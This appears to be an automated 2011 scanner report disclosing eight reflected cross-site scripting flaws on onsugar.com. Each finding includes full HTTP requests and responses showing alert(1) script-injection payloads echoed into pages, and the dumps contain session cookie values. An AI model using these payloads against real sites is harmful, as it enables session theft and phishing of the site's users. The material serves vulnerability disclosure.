XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, facebook_connect, onsugar.com

Hoyt LLC Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

Report generated by XSS.CX at Wed May 11 11:46:50 CDT 2011.


Loading

1. Cross-site scripting (reflected)

1.1. http://www.onsugar.com/h [REST URL parameter 1]

1.2. http://www.onsugar.com/h [REST URL parameter 1]

1.3. http://www.onsugar.com/help [REST URL parameter 1]

1.4. http://www.onsugar.com/help [REST URL parameter 1]

1.5. http://www.onsugar.com/modules/facebook_connect/xd_receiver.php [REST URL parameter 3]

1.6. http://www.onsugar.com/modules/facebook_connect/xd_receiver.php [REST URL parameter 3]

1.7. http://www.onsugar.com/static/ck.php [REST URL parameter 2]

1.8. http://www.onsugar.com/static/ck.php [REST URL parameter 2]

2. Flash cross-domain policy

3. Cross-domain script include

3.1. http://www.onsugar.com/h

3.2. http://www.onsugar.com/help

3.3. http://www.onsugar.com/modules/facebook_connect/xd_receiver.php

4. Robots.txt file

5. HTML does not specify charset



1. Cross-site scripting (reflected)  next
There are 8 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.onsugar.com/h [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.onsugar.com
Path:   /h

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e87cc"-alert(1)-"7921a653dd8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /he87cc"-alert(1)-"7921a653dd8 HTTP/1.1
Host: www.onsugar.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=191106292.1305130894.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/9; __qca=P0-2101631248-1305130894062; PHPSESSID=h0tvqqfbnjb20uhccitrdjhpm0; fg_locale=0; client_locale=US; ss1=0%7C1307131319%7Cu9kywujrs7f2USFXqLmGkifVcyewZxURNAYIqXW27PKRFuGPAWAY%2Fk43r2QLFjwbkKctvb5xpD3WhK4QQlS5%2Few3X0F17Ypu2Eq%2FQWt1oiIUL7ub5qE5c6VZu3JiyKqaJr%2BVd8tlg1ko0C7SHdD8kKgz%2FCN0DlCXbtAM5b%2BC9UFdoU4Wnm4MshyntsgEjBFzo3gfkSSlOPfZ4vO%2BpzRTCQ%3D%3D%7C6e074a7bdc4a9267bec600ad48b032b9bfa8e943; __utma=191106292.866074035.1305130894.1305130894.1305130894.1; __utmc=191106292; __utmb=191106292.10.10.1305130894; base_domain_8f072b21dbdc4e39c5d76aad0538c9d6=onsugar.com; fbsetting_8f072b21dbdc4e39c5d76aad0538c9d6=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; ss2=6

Response

HTTP/1.1 404 Not Found
X-Sugar-Origin-Server: sugar-prod-web013-lax1.int.sugarinc.com
X-Powered-By: PHP/5.2.14
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: private, no-store, no-cache, must-revalidate, post-check=0, pre-check=0, max-age=0
Pragma: no-cache
Vary: Cookie
Vary: Accept-Encoding
P3P: CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVA IVD CONi HIS OUR DELi SAMi IND UNI INT CNT"
Content-Type: text/html; charset=utf-8
Content-Language: en
Set-Cookie: ss1=0%7C1307131374%7CkYuiRqMvcnnAUMW6YT4TMnwcIuS2wSV%2FqRAPHLrP9NOF%2Bb1DCPryDO6C4lb03zJyvu94HgaovF7tvMbyon24WUC0tYKwPKofZayuLzkj5%2FtyPGgBhONihTy1%2BZaqd6D5mPDRu98w9Qhte55khOgMmE52%2Ff5vi8XP2iphtL0HSn75snz54uTDnsqyyxAjw9gsfFPocmMbWvpKULyJrQYMtA%3D%3D%7C6359c5f6ce910914a44bad77c6f7d677033827aa; expires=Fri, 03-Jun-2011 20:02:54 GMT; path=/; httponly
Connection: close
Date: Wed, 11 May 2011 16:29:34 GMT
Server: lighttpd/1.4.26
Content-Length: 7232

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en" xmlns:fb="http://www.facebook.
...[SNIP]...
<script>
var comscoreHash = "46f25d64aecf90301f4df447b9e74c0e";
COMSCORE.beacon({
c1:2,
c2:6035900,
c3:"",
c4:"www.onsugar.com/he87cc"-alert(1)-"7921a653dd8",
c5:"",
c6:"",
c15:comscoreHash
});
</script>
...[SNIP]...

1.2. http://www.onsugar.com/h [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.onsugar.com
Path:   /h

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6c078"><script>alert(1)</script>10c42d12877 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /h6c078"><script>alert(1)</script>10c42d12877 HTTP/1.1
Host: www.onsugar.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=191106292.1305130894.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/9; __qca=P0-2101631248-1305130894062; PHPSESSID=h0tvqqfbnjb20uhccitrdjhpm0; fg_locale=0; client_locale=US; ss1=0%7C1307131319%7Cu9kywujrs7f2USFXqLmGkifVcyewZxURNAYIqXW27PKRFuGPAWAY%2Fk43r2QLFjwbkKctvb5xpD3WhK4QQlS5%2Few3X0F17Ypu2Eq%2FQWt1oiIUL7ub5qE5c6VZu3JiyKqaJr%2BVd8tlg1ko0C7SHdD8kKgz%2FCN0DlCXbtAM5b%2BC9UFdoU4Wnm4MshyntsgEjBFzo3gfkSSlOPfZ4vO%2BpzRTCQ%3D%3D%7C6e074a7bdc4a9267bec600ad48b032b9bfa8e943; __utma=191106292.866074035.1305130894.1305130894.1305130894.1; __utmc=191106292; __utmb=191106292.10.10.1305130894; base_domain_8f072b21dbdc4e39c5d76aad0538c9d6=onsugar.com; fbsetting_8f072b21dbdc4e39c5d76aad0538c9d6=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; ss2=6

Response

HTTP/1.1 404 Not Found
X-Sugar-Origin-Server: sugar-prod-web014-lax1.int.sugarinc.com
X-Powered-By: PHP/5.2.14
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: private, no-store, no-cache, must-revalidate, post-check=0, pre-check=0, max-age=0
Pragma: no-cache
Vary: Cookie
Vary: Accept-Encoding
P3P: CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVA IVD CONi HIS OUR DELi SAMi IND UNI INT CNT"
Content-Type: text/html; charset=utf-8
Content-Language: en
Set-Cookie: ss1=0%7C1307131372%7CkEOTBOKQVKrPfpiMurw5o9hBoBG%2BLinEHf37DobcGTLzPSqquDqwLPwDhUBnD%2FgiHN4dvQsGlrOf9ukGXJd6l98FZJS0q20LP82omUHvkECqCC9kFRT18Hq%2FqH5S2Uuvw57kkBMQ7Hsheq09cuZJrIeYyfoR3gl4W24Gp%2BxOiHszait1sVpngz6PPGKbq9SUV73UOpxzAsTIPMO1Cs38rA%3D%3D%7C11d3bbb3ac82eb10ae5579b2d5918e953a3bb842; expires=Fri, 03-Jun-2011 20:02:52 GMT; path=/; httponly
Connection: close
Date: Wed, 11 May 2011 16:29:32 GMT
Server: lighttpd/1.4.26
Content-Length: 7337

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en" xmlns:fb="http://www.facebook.
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=6035900&c3=&c4=www.onsugar.com/h6c078"><script>alert(1)</script>10c42d12877&c5=&c6=&c15=46f25d64aecf90301f4df447b9e74c0e&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

1.3. http://www.onsugar.com/help [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.onsugar.com
Path:   /help

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bf07a"><script>alert(1)</script>d6bd0982c40 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /helpbf07a"><script>alert(1)</script>d6bd0982c40 HTTP/1.1
Host: www.onsugar.com
Proxy-Connection: keep-alive
Referer: http://www.onsugar.com/modules/facebook_connect/222e2%22%3E%3Cscript%3Ealert(1)%3C/script%3E9c7f3b8ba3b
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=191106292.1305130894.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/9; __qca=P0-2101631248-1305130894062; PHPSESSID=h0tvqqfbnjb20uhccitrdjhpm0; fg_locale=0; client_locale=US; ss1=0%7C1307130920%7CO5w6vi1clyabB04ICi5NDkE2Bi7U3mPLr3eM8iaMhNtBaIS8xmdjdtRIjcemyY21UtfNJVfJF8POMS4LM8u44TZxaL8%2Bsq9FRucsaLd6d6uBpAEiTtTvi%2FwvXdMMzmbUzcBmJ%2BGwqYpIQ5EXkKOLZLcP%2F3uskzsFuUwRmAm%2FpzMUwX5njjyzM6dWLWxPWjXxpPnTwmkBSK9gQIqCb9uyUw%3D%3D%7Cafddbd348226d90723203ba0380a05a4fddb2354; __utma=191106292.866074035.1305130894.1305130894.1305130894.1; __utmc=191106292; __utmb=191106292.8.10.1305130894; base_domain_8f072b21dbdc4e39c5d76aad0538c9d6=onsugar.com; fbsetting_8f072b21dbdc4e39c5d76aad0538c9d6=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; ss2=2

Response

HTTP/1.1 404 Not Found
X-Sugar-Origin-Server: sugar-prod-web018-lax1.int.sugarinc.com
X-Powered-By: PHP/5.2.14
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: private, no-store, no-cache, must-revalidate, post-check=0, pre-check=0, max-age=0
Pragma: no-cache
Vary: Cookie
Vary: Accept-Encoding
P3P: CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVA IVD CONi HIS OUR DELi SAMi IND UNI INT CNT"
Content-Type: text/html; charset=utf-8
Content-Language: en
Set-Cookie: ss1=0%7C1307131351%7ChOItzNgJ1yNvB%2FNsmZLWzl%2Fhlc5%2F%2Fv5LNrdFWjDgwz63cDHxBu4eJHW5kI1JMuc%2FA1z57ilI8AFD3VOb3uiYITPX8PGekq6mK3T73647L%2FdL4dDiP7EDyH55%2FFRk5HTYtr8l2Uu6VzAe%2BoxS07h9zBvH6ViIaYdmW6u%2B9mTDs77lBRxFFaSUzFnPkjD3ktByvHGPUq5Xrpo8K3QaGPrl1w%3D%3D%7Cd782b2eae93ce1326ddd9fea54b1c5f4b0ead17b; expires=Fri, 03-Jun-2011 20:02:31 GMT; path=/; httponly
Connection: close
Date: Wed, 11 May 2011 16:29:11 GMT
Server: lighttpd/1.4.26
Content-Length: 7352

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en" xmlns:fb="http://www.facebook.
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=6035900&c3=&c4=www.onsugar.com/helpbf07a"><script>alert(1)</script>d6bd0982c40&c5=&c6=&c15=46f25d64aecf90301f4df447b9e74c0e&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

1.4. http://www.onsugar.com/help [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.onsugar.com
Path:   /help

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a42d5"-alert(1)-"2b97dcc64db was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /helpa42d5"-alert(1)-"2b97dcc64db HTTP/1.1
Host: www.onsugar.com
Proxy-Connection: keep-alive
Referer: http://www.onsugar.com/modules/facebook_connect/222e2%22%3E%3Cscript%3Ealert(1)%3C/script%3E9c7f3b8ba3b
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=191106292.1305130894.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/9; __qca=P0-2101631248-1305130894062; PHPSESSID=h0tvqqfbnjb20uhccitrdjhpm0; fg_locale=0; client_locale=US; ss1=0%7C1307130920%7CO5w6vi1clyabB04ICi5NDkE2Bi7U3mPLr3eM8iaMhNtBaIS8xmdjdtRIjcemyY21UtfNJVfJF8POMS4LM8u44TZxaL8%2Bsq9FRucsaLd6d6uBpAEiTtTvi%2FwvXdMMzmbUzcBmJ%2BGwqYpIQ5EXkKOLZLcP%2F3uskzsFuUwRmAm%2FpzMUwX5njjyzM6dWLWxPWjXxpPnTwmkBSK9gQIqCb9uyUw%3D%3D%7Cafddbd348226d90723203ba0380a05a4fddb2354; __utma=191106292.866074035.1305130894.1305130894.1305130894.1; __utmc=191106292; __utmb=191106292.8.10.1305130894; base_domain_8f072b21dbdc4e39c5d76aad0538c9d6=onsugar.com; fbsetting_8f072b21dbdc4e39c5d76aad0538c9d6=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; ss2=2

Response

HTTP/1.1 404 Not Found
X-Sugar-Origin-Server: sugar-prod-web019-lax1.int.sugarinc.com
X-Powered-By: PHP/5.2.14
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: private, no-store, no-cache, must-revalidate, post-check=0, pre-check=0, max-age=0
Pragma: no-cache
Vary: Cookie
Vary: Accept-Encoding
P3P: CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVA IVD CONi HIS OUR DELi SAMi IND UNI INT CNT"
Content-Type: text/html; charset=utf-8
Content-Language: en
Set-Cookie: ss1=0%7C1307131353%7ClkPp30uHnUN%2F7bc8OSVp8TSNjynGkVv07NLZms6kbL0JrPNyR3ljL6buXio3%2FTkHLTZ%2FrHuw21APK7edIPzoMY6uOcVV2E4vWWfN5nSZah3OwMYA6cBcQKaoUGOfEJozmpRUe3%2F7zDmXJsLkArsSqEZfR%2F8C5qQIdKcDp0zO2ximl%2B8yTEF8knrSa7uziugWLXq2UUYJGkdK1TjukSozIA%3D%3D%7C4263a3214aa3c280cb8a04a87a05228e5eed6be9; expires=Fri, 03-Jun-2011 20:02:33 GMT; path=/; httponly
Connection: close
Date: Wed, 11 May 2011 16:29:13 GMT
Server: lighttpd/1.4.26
Content-Length: 7247

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en" xmlns:fb="http://www.facebook.
...[SNIP]...
<script>
var comscoreHash = "46f25d64aecf90301f4df447b9e74c0e";
COMSCORE.beacon({
c1:2,
c2:6035900,
c3:"",
c4:"www.onsugar.com/helpa42d5"-alert(1)-"2b97dcc64db",
c5:"",
c6:"",
c15:comscoreHash
});
</script>
...[SNIP]...

1.5. http://www.onsugar.com/modules/facebook_connect/xd_receiver.php [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.onsugar.com
Path:   /modules/facebook_connect/xd_receiver.php

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 222e2"><script>alert(1)</script>9c7f3b8ba3b was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /modules/facebook_connect/222e2"><script>alert(1)</script>9c7f3b8ba3b HTTP/1.1
Host: www.onsugar.com
Proxy-Connection: keep-alive
Referer: http://www.facebook.com/extern/login_status.php?api_key=8f072b21dbdc4e39c5d76aad0538c9d6&extern=0&channel=http%3A%2F%2Fwww.onsugar.com%2Fmodules%2Ffacebook_connect%2Fxd_receiver.php&locale=en_US
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=v02tdi2s0fkd3258jm1dfhrd01; fg_locale=0; client_locale=US; ss1=0%7C1307130876%7CD16skBAgGJOXuPd870AXCzaIkY%2B80xd90qE6Rvb9Q45j2zk9L4ynyBNKCc%2BHx1MYPCl2KMh1wssunL7%2B5%2BvIHp0UvcwyaGr%2FGluMqNRDgPT6YXtJobuhCYwkwTr9xPNtFOL4h%2BKLcc6PEqYOoxS3T9%2F%2B2lrwvSDcDQalddp4i%2BUkf0%2F0OkcP61jW%2B1YH8Fx0gdbotK1%2B7jhU62aGprhL3A%3D%3D%7C58dd2b04f819d130e837691aff0cf0908417cc2f; __utmz=191106292.1305130894.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/9; __utma=191106292.866074035.1305130894.1305130894.1305130894.1; __utmc=191106292; __utmb=191106292.2.10.1305130894; __qca=P0-2101631248-1305130894062; ss2=2

Response

HTTP/1.1 404 Not Found
X-Sugar-Origin-Server: sugar-prod-web013-lax1.int.sugarinc.com
X-Powered-By: PHP/5.2.14
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: private, no-store, no-cache, must-revalidate, post-check=0, pre-check=0, max-age=0
Pragma: no-cache
Vary: Cookie
Vary: Accept-Encoding
P3P: CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVA IVD CONi HIS OUR DELi SAMi IND UNI INT CNT"
Content-Type: text/html; charset=utf-8
Content-Language: en
Set-Cookie: ss1=0%7C1307130920%7CO5w6vi1clyabB04ICi5NDkE2Bi7U3mPLr3eM8iaMhNtBaIS8xmdjdtRIjcemyY21UtfNJVfJF8POMS4LM8u44TZxaL8%2Bsq9FRucsaLd6d6uBpAEiTtTvi%2FwvXdMMzmbUzcBmJ%2BGwqYpIQ5EXkKOLZLcP%2F3uskzsFuUwRmAm%2FpzMUwX5njjyzM6dWLWxPWjXxpPnTwmkBSK9gQIqCb9uyUw%3D%3D%7Cafddbd348226d90723203ba0380a05a4fddb2354; expires=Fri, 03-Jun-2011 19:55:20 GMT; path=/; httponly
Connection: close
Date: Wed, 11 May 2011 16:22:00 GMT
Server: lighttpd/1.4.26
Content-Length: 7469

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en" xmlns:fb="http://www.facebook.
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=6035900&c3=&c4=www.onsugar.com/modules/facebook_connect/222e2"><script>alert(1)</script>9c7f3b8ba3b&c5=&c6=&c15=dff6cdfdd8fd0dc992a9d72d8ca7edc9&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

1.6. http://www.onsugar.com/modules/facebook_connect/xd_receiver.php [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.onsugar.com
Path:   /modules/facebook_connect/xd_receiver.php

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ab9d1"-alert(1)-"442b7a49510 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /modules/facebook_connect/ab9d1"-alert(1)-"442b7a49510 HTTP/1.1
Host: www.onsugar.com
Proxy-Connection: keep-alive
Referer: http://www.facebook.com/extern/login_status.php?api_key=8f072b21dbdc4e39c5d76aad0538c9d6&extern=0&channel=http%3A%2F%2Fwww.onsugar.com%2Fmodules%2Ffacebook_connect%2Fxd_receiver.php&locale=en_US
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=v02tdi2s0fkd3258jm1dfhrd01; fg_locale=0; client_locale=US; ss1=0%7C1307130876%7CD16skBAgGJOXuPd870AXCzaIkY%2B80xd90qE6Rvb9Q45j2zk9L4ynyBNKCc%2BHx1MYPCl2KMh1wssunL7%2B5%2BvIHp0UvcwyaGr%2FGluMqNRDgPT6YXtJobuhCYwkwTr9xPNtFOL4h%2BKLcc6PEqYOoxS3T9%2F%2B2lrwvSDcDQalddp4i%2BUkf0%2F0OkcP61jW%2B1YH8Fx0gdbotK1%2B7jhU62aGprhL3A%3D%3D%7C58dd2b04f819d130e837691aff0cf0908417cc2f; __utmz=191106292.1305130894.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/9; __utma=191106292.866074035.1305130894.1305130894.1305130894.1; __utmc=191106292; __utmb=191106292.2.10.1305130894; __qca=P0-2101631248-1305130894062; ss2=2

Response

HTTP/1.1 404 Not Found
X-Sugar-Origin-Server: sugar-prod-web013-lax1.int.sugarinc.com
X-Powered-By: PHP/5.2.14
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: private, no-store, no-cache, must-revalidate, post-check=0, pre-check=0, max-age=0
Pragma: no-cache
Vary: Cookie
Vary: Accept-Encoding
P3P: CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVA IVD CONi HIS OUR DELi SAMi IND UNI INT CNT"
Content-Type: text/html; charset=utf-8
Content-Language: en
Set-Cookie: ss1=0%7C1307130923%7CTK7ur%2B87axL%2F3A3RL4L3xI2mWoW%2F5NIMmABu0JVPEA5RrfeLmjnnhgLOWWDSYI3gSYLZu1NJp8KebNdsO5V8eXZJr0HelbJkLOzgY531aPQEHr4gGTCBwJrKDaF4bBYd88WVZ7DuIr5hCvrxanv%2B%2BYymHoPnS7HIXlrwNQiOqTY4Owm3%2FpGfTV%2B%2F%2B3HaeXUsDdqkAk%2FlBg0675ZO0Ct7gw%3D%3D%7Cf74b92cd16947c417de4d67c8d0e21bcc2293efa; expires=Fri, 03-Jun-2011 19:55:23 GMT; path=/; httponly
Connection: close
Date: Wed, 11 May 2011 16:22:03 GMT
Server: lighttpd/1.4.26
Content-Length: 7364

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en" xmlns:fb="http://www.facebook.
...[SNIP]...
<script>
var comscoreHash = "dff6cdfdd8fd0dc992a9d72d8ca7edc9";
COMSCORE.beacon({
c1:2,
c2:6035900,
c3:"",
c4:"www.onsugar.com/modules/facebook_connect/ab9d1"-alert(1)-"442b7a49510",
c5:"",
c6:"",
c15:comscoreHash
});
</script>
...[SNIP]...

1.7. http://www.onsugar.com/static/ck.php [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.onsugar.com
Path:   /static/ck.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 229d0"><script>alert(1)</script>e9e22b8b8d1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /static/229d0"><script>alert(1)</script>e9e22b8b8d1?nids[]=16415520&p= HTTP/1.1
Host: www.onsugar.com
Proxy-Connection: keep-alive
Referer: http://www.tressugar.com/Cannes-Film-Festival-History-16415520
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
X-Sugar-Origin-Server: sugar-prod-web018-lax1.int.sugarinc.com
X-Powered-By: PHP/5.2.14
Set-Cookie: PHPSESSID=vicpn4jprug5c3ds0avea3q382; expires=Fri, 03-Jun-2011 18:38:13 GMT; path=/
Set-Cookie: fg_locale=0; expires=Thu, 12-May-2011 15:04:53 GMT; path=/
Set-Cookie: client_locale=US; expires=Thu, 12-May-2011 15:04:53 GMT; path=/
Set-Cookie: ss1=0%7C1307126293%7CTJvkMKQ%2F5e0ErMZfA53r%2FFY1BwjCYBPSBEBQ0hH6GvQQGyBbsUkrMH3q%2FKPi%2BRgCHskfva0YGlhMypN4YP9hE%2BxOJ643qj%2BHLtib%2Fn2vRA0P0DCF69dsg%2Bmm5RQ3RIrIxgD2dD2wsOPYh74AFI9W1Eyf6015OCyWDz6AtVq3nqTiD5a47BhY15hIpNhA6KfJP0pFxjzvnW1gE%2FHXcuB9Jg%3D%3D%7Cf83433ebbf4cdc794fb61d142dd92436a77a7a65; expires=Fri, 03-Jun-2011 18:38:13 GMT; path=/; httponly
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: private, no-store, no-cache, must-revalidate, post-check=0, pre-check=0, max-age=0
Pragma: no-cache
Vary: Cookie
Vary: Accept-Encoding
